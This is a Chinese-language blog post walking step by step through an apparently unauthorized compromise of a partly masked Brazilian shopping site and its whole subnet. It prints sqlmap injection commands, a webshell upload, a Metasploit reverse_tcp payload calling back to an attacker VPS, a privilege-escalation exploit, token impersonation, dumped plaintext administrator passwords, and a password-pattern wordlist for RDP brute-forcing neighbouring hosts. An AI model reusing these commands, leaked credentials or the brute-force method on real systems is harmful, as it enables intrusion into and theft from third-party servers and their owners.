看我如何快速拿下整个C段主机权限

0x01 前言

Date/time:2015年,这次渗透测试中发现已经拿下的几台机器的管理员密码存在一定规律性,最终通过分析密码规律、组合新密码成功拿下目标整个C段机器权限,个人感觉这是个不错的内网通用/规律密码实战案例,所以想着还是记录一下吧。

0x02 Getshell过程

网站基本信息探测:

目标站点:http://www.that****elos.com.br
服务器IP189.**.**.204(巴西)
环境平台:ASP.NET
服务器系统:Windows

这个网站禁止国内IP访问,所以只能上墙去做测试了,先用Chrome浏览器插件和指纹识别网站都未能得到服务器系统具体版本,不过根据个人经验猜测这应该是台Windows2003。

Chrome浏览器插件:Server Details 1.0.12、Wappalyzer
服务器系统识别:http://fuwuqixitongshibie.51240.com/?q=
网站后台地址:http://www.that****elos.com.br/admin/

接着我们用Safe3WVS_v10.1漏洞扫描工具成功找到几处注入,并使用sqlmap工具验证这个注入点确实是存在的,并且已经跑出管理员的表和列,只不过在跑管理员用户密码时报错了。

跑表名:

sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --tables
[7 tables]:categorias,clientes,destaques,itens,pedidos,produtos,usuarios

跑列名:

sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" -T "usuarios" --columns
[5 columns]:codusuario,email,login,nome,senha

跑数据:

sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --dbms access -T "usuarios" -C "email,login,senha" --dump --threads 10

这里不去纠结为什么在sqlmap跑数据时会报错,既然已经得到管理员的表和列,那么就可以直接利用其它注入工具来跑管理员用户密码了,如:阿D、明小子等注入工具,灵活运用嘛!

通过这个注入点成功得到网站管理员帐号和密码,登录网站后台并找到一处无任何过滤的上传,直接传了一个ASP的图片马,就这样很顺利的拿到这个站的Webshell权限。


0x03 实战提权过程

服务器基本信息探测:

端口开放:218013544344587365432
补丁情况:打了750+系统补丁(Windows 2003 x86)
脚本探测:仅支持ASP脚本文件,不支持PHPASPX
磁盘权限:C盘部分文件夹有可读/写权限,不能跨站

搞了这么久也是第一次遇到打750+补丁的2003机器,虽然知道利用提权EXP搞下的机率不大,但还是得尝试下不是,说不定就“成”了呢,尝试了以下这些提权EXP,最终结果在意料之中,失败了。

pr.exe,Churrasco.exe,2003.exe,NDProxy.exe,iis6.exe,MS11-046.exe,MS10-048.exe,MS11-080.exe,MS13-051.exe,debug.exe......

我们再来试下ms14_058_track_popup_menu提权模块,由于目标禁止国内IP地址访问,所以在运行攻击载荷文件后无法获取到目标机器会话,所以笔者是在国外VPS上进行测试的。

root@c2unix:~# msfpayload windows/meterpreter/reverse_tcp LHOST=37.*.**.52 LPORT=443 X > /media/sf_Temp/test.exe
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 37.*.**.52
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit

[*] Started reverse handler on 37.*.**.52:443
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 189.**.**.204
[*] Meterpreter session 1 opened (37.*.**.52:443 -> 189.**.**.204:1150) at 2015-01-01 13:48:01 +0000

查看当前会话权限、系统信息,尝试使用getsystem提权,没有成功,将当前会话放置后台运行,继续加载ms14_058_track_popup_menu提权模块进行测试。

meterpreter > getuid
Server username: $U$AUTORIDADE NT\SERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > sysinfo
Computer        : WEB200
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : pt_BR
Meterpreter     : x86/win32
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms14_058_track_popup_menu) > set lhost 37.*.**.52
msf exploit(ms14_058_track_popup_menu) > set lport 443
msf exploit(ms14_058_track_popup_menu) > set session 1
msf exploit(ms14_058_track_popup_menu) > exploit

[*] Started reverse handler on 37.*.**.52:443
[*] Launching notepad to host the exploit...
[+] Process 11464 launched.
[*] Reflectively injecting the exploit DLL into 11464...
[*] Injecting exploit into 11464...
[*] Exploit injected. Injecting payload into 11464...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (770048 bytes) to 189.**.**.204
[*] Meterpreter session 2 opened (37.*.**.52:443 -> 189.**.**.204:1788) at 2015-01-01 14:03:44 +0000

这里可以看到利用ms14_058_track_popup_menu提权模块后得到一个新的meterpreter会话,但仍然是普通权限,在以往的实战案例中曾多次碰到过这种情况,具体原因不明,也没去深入研究。

meterpreter > getuid
Server username: $U$AUTORIDADE NT\SERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

ms14_058_track_popup_menu提权模块失败,笔者陷入深思......,突然想到meterpreter下还有个incognito拓展,可以用来盗窃目标主机的令牌或假冒用户。

我们先看下这台服务器里有几个管理员用户,方便后面找管理员可用令牌,可以看到除了默认的Administrator,还有一个cronjob。

list_tokens -u列出可用用户令牌,这列出来的可用用户令牌太多了,笔者用...Snip...省略了一部分,可以看到可用用户令牌中有cronjob管理员令牌。

列出可用用户令牌:

meterpreter > use incognito
Loading extension incognito...success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
========================================
AUTORIDADE NT\SERVI?O LOCAL
WEB200\aewcorp
WEB200\attcorreia
WEB200\cronjob
WEB200\sueddesigner
...Snip...

Impersonation Tokens Available
========================================
WEB200\aluggo
WEB200\ciacompropaganda
WEB200\datahome
WEB200\ipirangacontabil
WEB200\web200
...Snip...

假冒cronjob用户令牌:

meterpreter > impersonate_token WEB200\\cronjob
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
             Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user WEB200\cronjob
meterpreter > getuid
Server username: WEB200\estoquedomarmorista
meterpreter > hashdump
...Snip...

当前机器IP地址为:189.**.**.204,远程端口号:65432,计算机名称:WEB200,使用meterpreter下的mimikatz法国神器抓到的目标系统明文密码如下,管理员哈希密码均无法破解(>=16位)。

0;980627246        NTLM      WEB200      Administrador      w3b200r0x0271114
0;3450401626       NTLM      WEB200      cronjob            016b2023ee9b897ca643
0;1214252650       NTLM      WEB200      web200             p1cadasgalaxi4s
0;1236893630       NTLM      WEB200      thatycabelos       vbs147369
0;74485534         NTLM      WEB200      iis_user           123abc!#

利用一些常见的漏洞又拿到了C段中189.**.**.9、189.**.**.55服务器的Webshell权限,在提权时发现与刚提的204那台服务器有很多类似之处。

如:部分文件夹权限、上传cmd.exe执行命令、服务器系统主机名、部分命令权限不足、一样的远程端口号等等。

只是不能执行我们自己上传的提权EXP,提示0x2331错误,如下图所示。但是好像只要服务器重启后又可以正常执行提权EXP了,或者可以尝试将上传的提权EXP后缀改为TXT。

0x04 密码/域名规律

根据在几台机器上得到的一些信息和个人经验来说,基本可以确定这个C段中的所有机器为同一个管理员,所以管理员使用的密码肯定是有规律可寻的,接下来我们一起分析下他的密码规律是怎样的。

(1) 密码规律分析

几台机器上常用管理员用户有:Administrador,cronjob。189.**.**.204这台服务器的Administrador密码为:w3b200r0x0271114,密码规律主要与主机名中的3位数字有关,与IP地址无关。

w3b = 固定值,200 = 计算机名称(3位数字),r0x0271114 = 固定值

使用WPS表格函数提取主机名3位数字:=RIGHT(H2,3),组合一个新密码:=B2&C2&D2,最终通过密码规律组合出C段189.**.**.9、189.**.**.55这两台机器的管理员密码,如下图。

目前只能通过已控机器得知他的主机名,那我们在没有拿到C段其他机器的Webshell权限时怎么得到他的主机名呢?或者说有没有办法直接进入C段其他服务器呢?当然是有的,这里仅提供一个思路。

爆破思路:

RDP默认端口为3389,拿下的几台机器RDP端口为65432,我们可以根据找到的密码规律生成一个高效字典对189.**.**.X这个段所有IP进行RDP爆破,主机名3位数字控制在300即可,如果不行再增加。

w3b200r0x0271114
w3b201r0x0271114
w3b202r0x0271114
w3b203r0x0271114
w3b204r0x0271114
w3b205r0x0271114
w3b206r0x0271114
w3b207r0x0271114
w3b208r0x0271114
w3b209r0x0271114
w3b210r0x0271114
...Snip...

(2) 域名规律分析

在测试中多次看到“主机名.test.net”这样的子域,访问了几个后证实了我的想法:管理员在每台服务器上都解析了这样一个子域,命名规律为:主机名.test.net。

知道域名规律后就可以省去拿Webshell了,直接就能得到主机名,最后再通过组合密码进入C段其他机器,测试了10几台都是OK的。


形象比喻:

C段所有机器沦陷 = 密码规律 + 主机名 + 域名规律,密码规律 = 父亲,主机名 = 儿子,域名规律 = 母亲,父亲和母亲都需要儿子,只有在一起生活才算得上是一个完整家庭,缺一不可。

思路拓展:

根据域名规律生成高效“主机名.test.net”子域字典,主机名控制在300即可,然后通过脚本批量Ping这些子域得到C段存活机器的IP地址和对应主机名,然后再根据密码规律组合出新密码。

web200.test.net
web201.test.net
web202.test.net
web203.test.net
web204.test.net
web205.test.net
web206.test.net
web207.test.net
web208.test.net
web209.test.net
web210.test.net
...Snip...

我们可以直接用WPS表格函数组合一个新密码:=B2&(RIGHT(LEFT(E2,6),3)&D2),最终通过密码规律组合出C段所有存活机器的管理员密码,如下图。

0x05 总结

在内/域环境中我们时常会遇到通用/规律密码,一般会以主机名、IP地址、年份以及常用字符123/qwe/!@#等做为规律,也可以分析网站后台、中间件数据库、第三方软件等等各类密码的共同点和规律,然后再组合生成高效字典进行爆破,借用@亮神的一句话:渗透的本质是信息搜集。


1.对目标系统进行信息收集,这里通过在线CMS指纹识别出系统为windows 2003 IIS6.0,且通过御剑目录扫描工具发现网站管理员后台目录为admin
2.使用Safe3WVS_v10.1漏洞扫描工具成功找到几处注入,并使用sqlmap工具验证这个注入点确实是存在的,并且已经跑出管理员的表和列,但是无法跑出用户名和密码
跑表名:
sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --tables
跑列名:
sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" -T "usuarios" --columns
跑数据:
sqlmap -u "http://www.that****elos.com.br/detalhe_produto.asp?codProd=510" --dbms access -T "usuarios" -C "email,login,senha" --dump --threads 10
3.这里使用阿D扫描工具对注入点进行注入出用户名和密码,通过 md5解密工具对密码hash值成功解密,然后通过到网站管理员帐号和密码成功登陆后台
4.在网站的后台发现有一处附件上传,可成功上传一个asp的图片木马1.asp;.jpg,可通过菜刀成功连接一句话
5.通过菜刀将asp大马上传到目标网站,然后通过其大马的端口扫描功能发现目标开放了21、80、135、443、445、873、65432等端口
其使用命令systeminfo发现补丁已打了750,仅支持ASP脚本文件,不支持PHP、ASPX,C盘部分文件夹有可读/写权限,执行 whomai命令,发现是iis权限
使用prr,Churrasco等都不能提权.
6.在公网上执行生成MSF后门
sfpayload windows/meterpreter/reverse_tcp LHOST=37.*.**.52 LPORT=443 X > /media/sf_Temp/test.exe
8.然后将test.exe 通过asp大马上传到目标C盘可读写目录下执行
c:/test.exe
9.在公网上执行MSF进行监听,并成功获得反弹shell
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 37.*.**.52
msf exploit(handler) > set lport 443
msf exploit(handler) > exploit
10.查看当前会话权限、系统信息,尝试使用getsystem提权,没有成功,将当前会话放置后台运行
meterpreter > getuid
meterpreter > getsystem
meterpreter > sysinfo
meterpreter > background
12.加载ms14_058_track_popup_menu提权模块进行提权,发现提权失败,任然是IIS权限
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms14_058_track_popup_menu) > set lhost 37.*.**.52
msf exploit(ms14_058_track_popup_menu) > set lport 443
msf exploit(ms14_058_track_popup_menu) > set session 1
msf exploit(ms14_058_track_popup_menu) > exploit
meterpreter > getuid
meterpreter > getsystem
13.查看管理员组成员,发现有amdinistrator和cronjob
meterpreter > shell
c:/net localgroup  administrators
14.list_tokens -u列出可用用户令牌,可以看到可用用户令牌中有cronjob管理员令牌
meterpreter > use incognito
meterpreter > list_tokens -u
WEB200\cronjob
15.假冒cronjob用户令牌
meterpreter > impersonate_token WEB200\\cronjob
meterpreter > getuid
Server username: WEB200\estoquedomarmorista
meterpreter > hashdump  //成功dump出hash值
16.当前机器IP地址为:189.**.**.204,远程端口号:65432,计算机名称:WEB200,使用meterpreter下的mimikatz法国神器抓到的目标系统明文密码如下,管理员哈希密码均无法破解
17.利用一些常见的漏洞又拿到了C段中189.**.**.9、189.**.**.55服务器的Webshell权限,在提权时发现与刚提的204那台服务器有很多类似之
18.几台C段机器上常用管理员用户有:Administrador,cronjob。189.**.**.204这台服务器的Administrado,r密码为:w3b200r0x0271114,密码规律主要与主机名中的3位数字有关,与IP地址无关。
w3b = 固定值,200 = 计算机名称(3位数字),r0x0271114 = 固定值
19.管理员在每台服务器上都解析了这样一个子域,命名规律为:主机名.test.net,知道域名规律后就可以省去拿Webshell了,直接就能得到主机名,最后再通过组合密码进入C段其他机器
20.根据域名规律生成高效“主机名.test.net”子域字典,主机名控制在300即可,然后通过脚本批量Ping这些子域得到C段存活机器的IP地址和对应主机名,然后再根据密码规律组合出新密码



posted @ 2022-01-24 16:35  渗透测试中心  阅读(803)  评论(0编辑  收藏  举报